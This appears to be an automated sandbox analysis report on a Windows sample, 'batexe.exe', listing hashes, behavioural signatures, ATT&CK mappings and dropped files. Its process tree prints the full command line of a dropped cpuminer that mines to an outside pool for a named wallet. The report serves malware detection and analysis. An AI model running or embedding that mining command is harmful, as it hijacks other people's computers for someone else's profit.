73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
296s
max time network
304s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 12:55

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4912	b2e.exe
5108	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5108	cpuminer-sse2.exe
5108	cpuminer-sse2.exe
5108	cpuminer-sse2.exe
5108	cpuminer-sse2.exe
5108	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1004-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1004 wrote to memory of 4912	1004	batexe.exe	73
PID 1004 wrote to memory of 4912	1004	batexe.exe	73
PID 1004 wrote to memory of 4912	1004	batexe.exe	73
PID 4912 wrote to memory of 4644	4912	b2e.exe	74
PID 4912 wrote to memory of 4644	4912	b2e.exe	74
PID 4912 wrote to memory of 4644	4912	b2e.exe	74
PID 4644 wrote to memory of 5108	4644	cmd.exe	77
PID 4644 wrote to memory of 5108	4644	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1004
- C:\Users\Admin\AppData\Local\Temp\AA69.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AA69.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AA69.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AE12.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AA69.tmp\b2e.exe

Filesize
320KB

MD5
88364d3a1722b83013616c5ae51fd6d7

SHA1
d6727613607431104a14f30001a7e1af8e2bf026

SHA256
70ea586c99e68feae0fd4579a9d93d4e0fd46b623f35b3cdbcf4fca2f6e3e6d4

SHA512
ba46a975471bad7f3aa1f333317fb152eab233934af7d648454cfbf2bd852d7745906fc407c5a4a6c60d78368486587f21aeaf9f12dbdf684de818c8e06a9e43

Download Submit
C:\Users\Admin\AppData\Local\Temp\AA69.tmp\b2e.exe

Filesize
128KB

MD5
272c54a9b6cdfa558e23cc257343048a

SHA1
7f26d86cf2a3625ce3e70c9cfc9b0cc075b8d5aa

SHA256
1d7e7ea2934d091cb7ab81c31e31b4015e05a9f86b213f9d78b0297c88fb3415

SHA512
5139de29262ba7091e5ab0529232912aea9ca34fdeb16165021d3ccaba1d351abc59f2130eaa6af8c3c0510db5f649095f7043ea837267dc9eb4ce0169fa18ba

Download Submit
C:\Users\Admin\AppData\Local\Temp\AE12.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
3124eb4f3ebce4783ba0fe62eab03a4e

SHA1
6f3dfc17e0f775135d5bdcae73de9128b74bb9ee

SHA256
e2b8eaeb2f49165b58adccdfc0ae530526f473cef0a641e90b84ee6f9a7782ed

SHA512
ed8996d47c6bc72e847479202d6ca4e1dc5cd8f576701866c1ffb532e7094ba1ed4837e18c4c034c28360ffb6ab93e8d5108087c9abc2d3d439759e627dab343

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
d80b98cad14ab7d8ad49bdea10bf6f78

SHA1
e36f47025de04864ea3233b946593dc46c7588dd

SHA256
87fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b

SHA512
bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
5266dee1f3e7e7eff6e7f0d36bcbcef0

SHA1
c946834b2bf0628d9e5d3daea2703afb2bb744c4

SHA256
56726288eb093fad1e0550cbc827304d45cbb085f702e09ce56b23fcf87244a6

SHA512
62c2c0b8acc1513a1402d9848980876d18dbcdb68a279e578437a618f3663947c921098ea02a40c6d35136f59cfcb45336a919deaf1c666ad45c9f452b54491e

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
9fe34875fe0799408c3c6dd32d73ce6b

SHA1
3e4fc529a04654aaa2d81256a4e0a64582eea31d

SHA256
63bd4a037153b8ebe1c2c122f2f3a0cc22e03d373a5efa696dca5deb06ad9317

SHA512
e5e8b5fa1449063b1e6167fcea3a4858340d4ca575bdf7e5ba373cb46143c523c623b529c8abbb5533ef1efd4c70f856539654493e112af425fee699baf30290

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.3MB

MD5
81db9661d6f9ee5882e50760726c6a42

SHA1
aaa6e898a7cea4e3ba985f433b2c8dc62ee00da8

SHA256
4ef3c5b21fbee42f395566d6b527da5115191c39e10b634598133c122ad80dea

SHA512
c9a439d37df29732b2fc48f20076c826dc1e24481e2f0778fad24ba282148dc0c9c50d93d916589cfffa7423f7a9da625e5b284c9ce46723e63d3c415dfb0b32

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1004-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4912-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4912-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5108-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5108-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-43-0x0000000053760000-0x00000000537F8000-memory.dmp

Filesize
608KB

Download
memory/5108-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/5108-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5108-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5108-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download